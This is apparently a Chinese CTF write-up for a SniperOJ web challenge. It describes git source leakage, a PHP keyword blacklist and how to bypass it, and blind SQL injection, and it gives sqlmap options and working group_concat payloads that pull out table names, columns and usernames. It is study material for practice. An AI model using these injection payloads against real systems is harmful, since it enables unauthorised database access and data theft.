[SniperOJ](web)圖書管理系統 注入 源碼泄露

0x00 題目概況


題目地址:http://www.sniperoj.cn:10000/

這是一道注入題,存在git源碼泄露,使用githack(freebuf有工具介紹)把源碼脫下來,進行審計,然后注入。

挺簡單的一道題,我自己卡一個地方卡了好久就是。

拖下來源碼放在我服務器上,懶得拖想看看可以下載:

120.27.32.227/sniper.rar


大概分析如下:

敏感詞過濾

$blacklist = array(" select "," union ","limit", " from ", "and","sleep");

foreach ($_POST as $key => $value) {

for ($i= 0;$i< count($blacklist); $i++){

if(strpos(strtolower($value), $blacklist[$i]) != false){

die("Come on inject me, you stupid srcipt kid!");

}


在注冊頁面:

// 判斷用戶是否存在

$sql_check = "SELECT userID from users where username = '$username'";

$result = $conn->query($sql_check);

if ($result->num_rows > 0) {

die("{\"status\":\"0\",\"msg\":\"用戶名已存在\"}");

}

很明顯的盲注點,在登錄界面也有一個盲注點。(沒發現哪里可以明注,本人新手還望賜教)


0x01 自己解題歷程


1. 那個黑名單,“select”"union“” 可以使用內聯注釋繞過,或者使用其他如 /**/ 代替空格即可,and 可以用 && 代替,limit 沒有找到方法繞過

2. 注入點 ?,username 可以為:

' or 1 #

在 1 處進行盲注。

為真的關鍵詞是 “用戶名已存在”。

一看這么簡單,加上最近深入了解了一下slqmap,所以想下直接用sqlmap跑就行。

sqlmap參數: ?--string "用戶名已存在" --suffix "#" --prefix " 'or " -v 3 --risk 3 --tamper space2comment.py?

確實可以跑出來,但是,只能跑出數據庫名,表名要靠碰撞,其他獲取不到,很是困惑。

糾結了好一會,查看slqmap的payload才想起是 "limit" 在黑名單里面。

接下來就是怎么繞過limit限制的問題了。大體上思路有兩種。

1. 不用limit ,尋找可以代替limit的關鍵字

2. 繞過限制,如編碼繞過,內聯注釋繞過

找了挺久的資料,一無所獲。沒有找到mysql沒有能代替limit的關鍵字,這里也繞過不了。

在網上看到一種這種繞過,在關鍵字中添加 注釋 ? “/**/” ,如:sele/***/ct ?。這是一種錯誤的方式,除非php會對 ?“/**/”進行過濾,否則,這種語句帶入到數據庫進行查詢會報錯的。


0x02 正確的思路:group_concat


大概自己思維還是太狹隘,一直在糾結怎么繞過limit ,想著盲注一定要有limit。

把源碼掛在屏幕半天,偶然看自己的一下筆記才想起來使用 “group_concat”

個人對group_concat通俗理解:

進行查詢,將多條查詢結果以一行顯示出來,即一條

如:select group_concat(username) from users

會將所有的username顯示在一行

想到這,就沒必要用limit 了。接下來就是寫腳本的問題。

payload 如下:

獲取表名:

' or ascii(substr(((select/**/group_concat(table_name)/**/from/**/information_schema.tables where table_schema=database()))from/**/1 for 1))=93 #

獲取列名:

' or ascii(substr(((select/**/group_concat(column_name)/**/from/**/information_schema.columns where table_name=0x7573657273))from/**/2 for 1))=71 #

獲取具體數據:

' or ascii(substr(((select/**/group_concat(username)/**/from/**/users))/**/from 2 for 1))=21 #


0x03 總結


git泄露

盲注不一定要使用 limit?

記住 group_concat

使用sqlmap行不通時查看payload,別太依賴工具

題目挺簡單的,自己太菜了,還要多學多看,這些遠遠不夠


2017 6 13 早上

昨天服務器有些問題,是本地搭建環境測試的,現在好了,實測有些問題。

在判斷 布爾真值為1的語句中:

if "用戶名已存在" in response.text:

這個句子 的中文是gb2312編碼,處理會有問題。

懶得查找如何解決編碼問題,那最最簡單的判斷就是使用len根據 response.text 的長度進行判斷。

為真長度為29

為假長度為31



最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 230,622評論 6 544
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 99,716評論 3 429
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事?!?“怎么了?”我有些...
    開封第一講書人閱讀 178,746評論 0 383
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,991評論 1 318
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,706評論 6 413
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 56,036評論 1 329
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 44,029評論 3 450
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 43,203評論 0 290
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,725評論 1 336
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 41,451評論 3 361
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,677評論 1 374
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 39,161評論 5 365
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,857評論 3 351
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 35,266評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,606評論 1 295
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 52,407評論 3 400
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,643評論 2 380

推薦閱讀更多精彩內容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當給sq...
    xuningbo閱讀 10,387評論 2 22
  • sqlmap用戶手冊 說明:本文為轉載,對原文中一些明顯的拼寫錯誤進行修正,并標注對自己有用的信息。 ======...
    wind_飄閱讀 2,077評論 0 5
  • Sql注入定義: 就是通過把sql命令插入到web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行...
    付出從未后悔閱讀 704評論 0 3
  • 手工: 第一種 1.判斷輸入框是否存在注入 直接輸入一個 '看是否報錯(如果存在盲注的話也是不會報錯的),如果直接...
    查無此人asdasd閱讀 11,522評論 0 6
  • information_schema SQL基礎 1.1 什么是sql? SQL(structured query...
    崔渣渣閱讀 979評論 0 0